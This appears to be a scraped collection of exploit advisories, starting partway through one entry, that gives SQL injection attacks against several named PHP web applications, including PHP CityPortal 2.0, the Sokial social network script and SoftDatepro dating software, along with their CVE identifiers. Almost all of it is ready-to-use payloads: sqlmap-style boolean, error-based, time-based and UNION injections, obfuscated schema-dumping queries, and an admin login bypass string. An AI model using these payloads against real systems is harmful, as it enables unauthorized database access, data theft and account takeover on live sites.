#     Type: UNION query
#     Title: Generic UNION query (NULL) - 3 columns
#     Payload: http://localhost/[PATH]/search/tag/VerAyari' UNION ALL SELECT NULL,NULL,CONCAT(0x71717a6a71,0x4b6e4a524653614e47727a4f4464575253424c4d6c544f6b6a78454e4a756c75794d6a7765697269,0x716b627871)-- mAFc
# 
# Parameter: #1* (URI)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: http://localhost/[PATH]/channels/category/7' AND 4239=4239 AND 'oXBo'='oXBo
# 
#     Type: error-based
#     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
#     Payload: http://localhost/[PATH]/channels/category/7' AND (SELECT 4458 FROM(SELECT COUNT(*),CONCAT(0x7170626b71,(SELECT (ELT(4458=4458,1))),0x7176787071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'JBxT'='JBxT
# 
#     Type: UNION query
#     Title: Generic UNION query (NULL) - 3 columns
#     Payload: http://localhost/[PATH]/channels/category/7' UNION ALL SELECT NULL,NULL,CONCAT(0x7170626b71,0x574355636a666d516c4d437a78696a5a6243555a46486f494a45455a6c49574e577765704a496367,0x7176787071)-- kJpu
# 
# Parameter: #1* (URI)
#     Type: boolean-based blind
#     Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
#     Payload: http://localhost/[PATH]/friends/index/11' RLIKE (SELECT (CASE WHEN (2135=2135) THEN 11 ELSE 0x28 END))-- SVFb
# 
#     Type: error-based
#     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
#     Payload: http://localhost/[PATH]/friends/index/11' AND (SELECT 1564 FROM(SELECT COUNT(*),CONCAT(0x7170786a71,(SELECT (ELT(1564=1564,1))),0x716a717171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- DoZE
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 OR time-based blind
#     Payload: http://localhost/[PATH]/friends/index/11' OR SLEEP(5)-- Maum
# 
# Parameter: #1* (URI)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: http://localhost/[PATH]/users/profile/1' AND 3612=3612 AND 'wNwI'='wNwI
# 
#     Type: error-based
#     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
#     Payload: http://localhost/[PATH]/users/profile/1' AND (SELECT 3555 FROM(SELECT COUNT(*),CONCAT(0x716a767671,(SELECT (ELT(3555=3555,1))),0x717a7a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'XrEj'='XrEj
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: http://localhost/[PATH]/users/profile/1' AND SLEEP(5) AND 'XZVf'='XZVf
# 
#     Type: UNION query
#     Title: Generic UNION query (NULL) - 3 columns
#     Payload: http://localhost/[PATH]/users/profile/1' UNION ALL SELECT NULL,NULL,CONCAT(0x716a767671,0x7a7a646e536849756f717771546e4547497549465459754f65636946535375667577596755616876,0x717a7a7a71)-- UaUA
# 
# Parameter: #1* (URI)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: http://localhost/[PATH]/video_catalog/category/1' AND 4550=4550 AND 'SAmI'='SAmI
# 
#     Type: error-based
#     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
#     Payload: http://localhost/[PATH]/video_catalog/category/1' AND (SELECT 4089 FROM(SELECT COUNT(*),CONCAT(0x716a6a7171,(SELECT (ELT(4089=4089,1))),0x716b786a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'PTze'='PTze
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: http://localhost/[PATH]/video_catalog/category/1' AND SLEEP(5) AND 'ptLy'='ptLy
# 
#     Type: UNION query
#     Title: Generic UNION query (NULL) - 3 columns
#     Payload: http://localhost/[PATH]/video_catalog/category/1' UNION ALL SELECT NULL,NULL,CONCAT(0x716a6a7171,0x4c5a694b4948566c59527663484b7a466c76725746684863506159646973414749617966634d5145,0x716b786a71)-- zDQK
# 
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: PHP CityPortal 2.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.phpcityportal.com/
# Software Link: http://www.phpcityportal.com/index.php
# Demo: http://phpcityportal.com/demo
# Version: 2.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15970
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=news&nid=[SQL]
# 
# Parameter: cat (GET)
#     Type: boolean-based blind
#     Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)
#     Payload: cat=1' OR NOT 6616=6616#
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 OR time-based blind
#     Payload: cat=1' OR SLEEP(5)-- cCQQ
# 	
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Same Sex Dating Software Pro 1.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.softdatepro.com/
# Software Link: https://codecanyon.net/item/same-date-pro-same-sex-dating-software/4530959
# Demo: http://www.ss.softdatepro.com/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15971
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an users to inject sql commands....
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/viewprofile.php?profid=[SQL]
# http://localhost/[PATH]/viewmessage.php?sender_id=[SQL]
# 
# -263'++/*!08888UNION*/+/*!08888ALL*/+/*!08888SELECT*/+0x31,0x32,(/*!08888SElEct*/+ExpOrt_sEt(5,@:=0,(/*!08888sElEct*/+cOunt(*)/*!08888frOm*/(infOrmatiOn_schEma.cOlumns)whErE@:=ExpOrt_sEt(5,ExpOrt_sEt(5,@,/*!08888tablE_namE*/,0x3c6c693E,2),/*!08888cOlumn_namE*/,0xa3a,2)),@,2)),0x34,0x35,0x36,0x37,0x38,0x39,0x3130,0x3131,0x3132,0x3133,0x3134,0x3135,0x3136--+-
# 
# http://localhost/[PATH]/admin
# 
# Email: 'or 1=1 or ''=' Pass: anything
# 
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Sokial Social Network Script 1.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.sokial.net/
# Software http://www.sokial.net/demonstrations-social-network.sk
# Demo: http://demo.sokial.net/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15973
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/admin/members_view.php?id=[SQL]
# 
# 2271+aND(/*!00033SelEcT*/+0x30783331+/*!00033frOM*/+(/*!00033SelEcT*/+cOUNT(*),/*!00033cOnCaT*/((/*!00033sELECT*/(/*!00033sELECT*/+/*!00033cOnCaT*/(cAST(dATABASE()+aS+/*!00033cHAR*/),0x7e,0x496873616E53656e63616e))+/*!00033FRoM*/+iNFORMATION_sCHEMA.tABLES+/*!00033wHERE*/+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(/*!00033rAND*/(0)*2))x+/*!00033FRoM*/+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a)+/*!00033aNd*/+1=1
# 
# Parameter: id (GET)
#     Type: boolean-based blind
#     Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
#     Payload: id=2271 RLIKE (SELECT (CASE WHEN (8371=8371) THEN 2271 ELSE 0x28 END))
# 
#     Type: error-based
#     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
#     Payload: id=2271 AND (SELECT 9357 FROM(SELECT COUNT(*),CONCAT(0x7176716a71,(SELECT (ELT(9357=9357,1))),0x717a6b6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
# 
#     Type: stacked queries
#     Title: MySQL > 5.0.11 stacked queries (comment)
#     Payload: id=2271;SELECT SLEEP(5)#
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 OR time-based blind
#     Payload: id=2271 OR SLEEP(5)
# 	
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: SoftDatepro Dating Social Network 1.3 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.softdatepro.com/
# Software Link: https://codecanyon.net/item/softdatepro-build-your-own-dating-social-network/3650044
# Demo: http://demo.softdatepro.com/
# Version: 1.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15972
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/viewprofile.php?profid=[SQL]
# http://localhost/[PATH]/viewmessage.php?sender_id=[SQL]
# 
# -263'++/*!08888UNION*/+/*!08888ALL*/+/*!08888SELECT*/+0x31,0x32,(/*!08888SElEct*/+ExpOrt_sEt(5,@:=0,(/*!08888sElEct*/+cOunt(*)/*!08888frOm*/(infOrmatiOn_schEma.cOlumns)whErE@:=ExpOrt_sEt(5,ExpOrt_sEt(5,@,/*!08888tablE_namE*/,0x3c6c693E,2),/*!08888cOlumn_namE*/,0xa3a,2)),@,2)),0x34,0x35,0x36,0x37,0x38,0x39,0x3130,0x3131,0x3132,0x3133,0x3134,0x3135,0x3136--+-
# 
# http://localhost/[PATH]/admin
# 
# Email: 'or 1=1 or ''=' Pass: anything
# 
# Etc..
# # # # #